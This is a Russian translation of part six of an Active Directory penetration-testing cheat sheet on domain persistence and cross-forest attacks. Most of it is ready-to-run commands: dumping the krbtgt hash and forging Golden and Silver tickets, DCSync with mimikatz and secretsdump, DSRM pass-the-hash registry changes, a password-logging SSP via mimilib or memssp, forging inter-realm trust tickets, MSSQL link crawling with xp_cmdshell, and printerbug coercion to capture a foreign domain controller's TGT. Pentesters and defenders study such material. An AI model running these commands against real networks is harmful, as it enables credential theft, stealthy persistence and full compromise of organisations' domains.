June 19

Pentesting Active Directory: постоянство домена и межлесные атаки (PART 6)

PART 5

Постоянство домена

Golden Ticket Атака

#Выполните mimikatz на DC в качестве DA, чтобы получить хэш krbtgt:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName>

#На любой машине:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt:
<HashOfkrbtgtAccount>   id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

Атака DCsync

#DCsync с помощью mimikatz (вам нужны права DA или привилегии DS-Replication-Get-Changes и DS-Replication-Get-Changes-All):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\<AnyDomainUser>"'

#DCsync с использованием secretsdump.py из impacket с NTLM-аутентификацией
secretsdump.py <Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-dc-ntlm

#DCsync с использованием secretsdump.py из impacket с аутентификацией Kerberos
secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm

Silver Ticket Атака

Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<TheTargetMachine> /service:
<ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate> /ptt"'

SPN

DSRM Абуз

Каждый DC имеет локальную учетную запись администратора, эта учетная запись имеет пароль DSRM, который является SafeBackupPassword. Мы можем получить его и затем pth его NTLM хэш, чтобы получить доступ локального администратора к DC!

#Сбросьте пароль DSRM (нужны права DA):
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's Name>

#Это локальная учетная запись, поэтому мы можем PTH и аутентифицироваться!
#Нам нужно изменить поведение учетной записи DSRM перед pth:
#Подключение к DC:
Enter-PSSession -ComputerName <DC's Name>

#Изменение поведения входа в систему в реестре:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose

#Если свойство уже существует:
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose

Затем просто PTH, чтобы получить доступ локального администратора на DC!

Пользовательский SSP

Мы можем создать свой собственный SSP, добавив пользовательскую dll, например mimilib.dll от mimikatz, которая будет отслеживать и перехватывать пароли пользователей, вошедших в систему!

Powershell:

#Получите текущий пакет безопасности:
$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' | select -ExpandProperty  'Security Packages'

#Добавить mimilib:
$packages += "mimilib"

#Измените имя новых пакетов
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value $packages
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages' -Value $packages

#АЛЬТЕРНАТИВА:
Invoke-Mimikatz -Command '"misc::memssp"'

Теперь все входы в систему на DC регистрируются в -> C:\Windows\System32\kiwissp.log

Лесные атаки

Trust Tickets

Если у нас есть права администратора домена в домене, который имеет двунаправленные доверительные отношения с другим лесом, мы можем получить ключ доверия и подделать свой собственный межлесной TGT.

Внимание: Доступ, который мы будем иметь, будет ограничен тем, что наша учетная запись DA настроена на другой лес!

  • Mimikatz:
  #Обнаружить ключ доверия
  Invoke-Mimikatz -Command '"lsadump::trust /patch"'
  Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

  #Создайте межреальную ТГТ, используя атаку "Золотой билет".
  Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<OurDomain> /sid:
  <OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain> /ticket:
  <PathToSaveTheGoldenTicket>"'

Tickets -> .kirbi format

Затем запросите TGS во внешний Лес для любого сервиса, использующего межреальную TGT, и получите доступ к ресурсу!

  • Rubeus:
  .\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt

Абуз MSSQL Серверов

  • Перечисление экземпляров MSSQL: Get-SQLInstanceDomain
  • Проверьте доступность в качестве текущего пользователя:
  Get-SQLConnectionTestThreaded
  Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  • Получите информацию об экземпляре: Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
  • Использование ссылок на базы данных SQL

Связь баз данных позволяет SQL Server получить доступ к другим ресурсам, например, к другим SQL Server. Если у нас есть два связанных SQL-сервера, мы можем выполнять на них хранимые процедуры. Ссылки на базы данных также работают в Forest Trust!

Проверьте наличие существующих ссылок на базы данных:

#Проверьте наличие существующих ссылок на базы данных:
#PowerUpSQL:
Get-SQLServerLink -Instance <SPN> -Verbose

#MSSQL Query:
select * from master..sysservers

Затем мы можем использовать запросы для перечисления других ссылок из связанной базы данных:

#В ручную:
select * from openquery("LinkedDatabase", 'select * from master..sysservers')

#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):
Get-SQLServerLinkCrawl -Instance <SPN> -Verbose

#Затем мы можем выполнить команду на машине, на которой запущена служба SQL, используя xp_cmdshell
# Или, если он отключен, включите его:
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"

Выполнение запросов:

Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell 'whoami'"

Breaking Forest Trusts

Если у нас есть двунаправленное доверие с внешним лесом и нам удастся скомпрометировать машину в локальном лесу, на которой включено неограниченное делегирование (DC имеют такую возможность по умолчанию), мы можем использовать printerbug, чтобы заставить DC корневого домена внешнего леса аутентифицироваться у нас. Затем мы можем перехватить его TGT, внедрить его в память и DCsync сбросить его хэши, предоставив нам полный доступ ко всему лесу.

Инструменты:

Пример эксплуатации:

#Начало мониторинга для ТГТ с rubeus:
Rubeus.exe monitor /interval:5 /filteruser:target-dc$

#Выполните printerbug, чтобы запустить принудительную аутентификацию целевого DC на нашей машине
SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local

#Получите base64-захваченный TGT от Rubeus и внедрите его в память:
Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket>

#Дамп хэшей целевого домена с помощью mimikatz:
lsadump::dcsync /domain:external.forest.local /all

Оригинальная статья | Перевод: THREAD